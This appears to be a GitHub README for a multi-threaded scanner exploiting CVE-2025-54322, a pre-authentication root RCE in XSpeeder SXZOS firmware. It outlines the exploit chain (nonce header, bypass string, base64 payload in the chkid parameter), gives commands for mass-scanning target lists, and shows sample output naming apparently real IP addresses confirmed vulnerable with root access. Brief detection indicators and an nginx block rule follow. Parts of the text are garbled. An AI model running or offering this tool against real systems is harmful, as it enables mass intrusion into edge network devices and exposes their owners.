
CVE-2025-54322 - XSpeeder SXZOS Pre-Auth RCE 0day Finder Quick
A multi-threaded vulnerability scanner for CVE-2025-54322, an unauthenticated remote code execution vulnerability in XSpeeder SXZOS firmware affecting ~70,000+ hosts globally.
CVE-2025-54322 is a critical pre-authentication remote code execution vulnerability discovered in XSpeeder SXZOS firmware, which powers SD-WAN devices, routers, and edge networking equipment.
The vulnerability exists in the Django-based web interface of SXZOS firmware:
/?title=ABC&oIp=XXX&chkid=[base64_payload]eval() function on base64-decoded user input1. Calculate time-based nonce for X-SXZ-R header
2. Warm up session via /webInfos/ endpoint
3. Craft malicious payload with bypass string (#sUserCodexsPwd)
4. Base64 encode payload
5. Send exploit with exactly 3 query parameters
6. Server decodes and evaluates payload
7. Commands execute with root privileges
The exploit bypasses multiple defense layers:
SXZ/2.3X-SXZ-R: [0-6]/webInfos/#sUserCodexsPwd commentvuln-confirm.txt immediately# Clone the repository
git clone https://github.com/Sachinart/CVE-2025-54322.git
cd CVE-2025-54322
# Install required dependencies
pip install -r requirements.txt
Create a requirements.txt file:
requests>=2.31.0
urllib3>=2.0.0
python3 scanner.py targets.txt
# Scan with custom thread count (default: 10)
python3 scanner.py targets.txt 20
# Scan with maximum threads for faster results
python3 scanner.py targets.txt 50
# Scan with conservative thread count
python3 scanner.py targets.txt 5
Create a targets.txt file with one target per line:
https://192.168.1.100:4433
https://10.0.0.50:8443
https://example.com:4433
http://vulnerable-device.local
$ python3 scanner.py targets.txt 20
╔═══════════════════════════════════════════════════════════════╗
║ XSpeeder SXZOS (CVE-2025-54322) RCE Scanner ║
║ Pre-Auth Root RCE Vulnerability Checker ║
║ Showing: VULNERABLE HOSTS ONLY ║
╚═══════════════════════════════════════════════════════════════╝
[*] Loaded 2338 targets from targets.txt
[*] Using 20 concurrent threads
[*] Vulnerable hosts will be saved to: vuln-confirm.txt
[*] Starting scan...
======================================================================
[+] VULNERABLE: https://27.40.80.93:4433
[+] Status: VULNERABLE - RCE Confirmed
[+] HTTP Status: 500
[+] Output: uid=0(root) gid=0(root)
======================================================================
[*] Progress: 50/2338 | Found: 12 vulnerable
[*] Progress: 100/2338 | Found: 24 vulnerable
======================================================================
[*] SCAN COMPLETE
======================================================================
[*] Total Time: 890.45 seconds
[*] Total Targets Scanned: 2338
[*] Vulnerable Hosts Found: 156
[*] Success Rate: 6.67%
======================================================================
The scanner displays:
vuln-confirm.txt)XSpeeder SXZOS CVE-2025-54322 - Vulnerable Hosts
Scan started: 2025-12-27 15:30:45
======================================================================
https://27.40.80.93:4433
Status: VULNERABLE - RCE Confirmed
Output: uid=0(root) gid=0(root)
----------------------------------------------------------------------
https://27.40.83.189:4433
Status: VULNERABLE - RCE Confirmed
Output: uid=0(root) gid=0(root)
----------------------------------------------------------------------
======================================================================
Scan completed: 2025-12-27 15:45:30
Total scanned: 2338
Vulnerable: 156
Time taken: 890.45 seconds
This tool is provided for educational and authorized security testing purposes only.
If you discover vulnerable systems:
If you manage XSpeeder SXZOS devices:
Look for these indicators in logs:
/?title=*&oIp=*&chkid=* with base64 payloadsSXZ/2.3X-SXZ-R headers#sUserCodexsPwd/webInfos/ followed by root path# Nginx rule to block exploitation attempts
location / {
if ($args ~* "chkid=") {
return 403;
}
}
This vulnerability was autonomously discovered by pwn.ai - an AI-powered security research platform.
Important Note: This is the first publicly documented agent-found, remotely exploitable zero-day RCE vulnerability.
Chirag Artani
This scanner implementation was created to assist security professionals in:
This project is licensed under the MIT License - see the LICENSE file for details.
Contributions are welcome! Please feel free to submit a Pull Request.
For questions, issues, or suggestions:
Remember: With great power comes great responsibility. Use this tool ethically and legally.
Stay Safe. Stay Ethical. Stay Legal.
| Target Count | Recommended Threads | Expected Time |
|---|
| 1-10 | 5 threads | ~1-2 min |
| 10-50 | 10 threads | ~3-5 min |
| 50-100 | 20 threads | ~5-10 min |
| 100-500 | 30 threads | ~10-20 min |
| 500+ | 40-50 threads | ~20+ min |